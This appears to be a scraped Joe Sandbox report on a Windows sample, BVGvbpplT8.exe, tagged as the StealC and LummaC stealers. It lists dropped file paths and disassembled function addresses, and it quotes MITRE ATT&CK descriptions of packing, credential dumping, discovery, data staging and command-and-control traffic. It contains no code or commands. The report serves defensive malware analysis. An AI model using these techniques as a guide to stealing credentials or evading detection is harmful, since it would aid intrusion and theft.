Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report BVGvbpplT8.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\44WNAJWW05E0258PKFVID8DSXYO93MX.exe.log

C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe

C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Windows Analysis Report
BVGvbpplT8.exe

Function 005E2E09 Relevance: 4.6, APIs: 3, Instructions: 104
registryCOMMON

Function 005D4DD2 Relevance: 1.6, APIs: 1, Instructions: 144
libraryCOMMON

Function 005D87AA Relevance: 1.6, APIs: 1, Instructions: 136
fileCOMMON

Function 005D87D8 Relevance: 1.6, APIs: 1, Instructions: 105
fileCOMMON

Function 005D880C Relevance: 1.6, APIs: 1, Instructions: 96
fileCOMMON

Function 005D8B4F Relevance: 1.6, APIs: 1, Instructions: 72
fileCOMMON

Function 048C0D43 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Function 048C0D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Function 048C1509 Relevance: 1.6, APIs: 1, Instructions: 56
serviceCOMMON

Function 048C1510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Function 005D8B8E Relevance: 1.6, APIs: 1, Instructions: 52
fileCOMMON

Function 005D8BA9 Relevance: 1.6, APIs: 1, Instructions: 50
fileCOMMON

Function 048C1301 Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Function 048C1308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Function 005D8BC7 Relevance: 1.5, APIs: 1, Instructions: 43
fileCOMMON

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre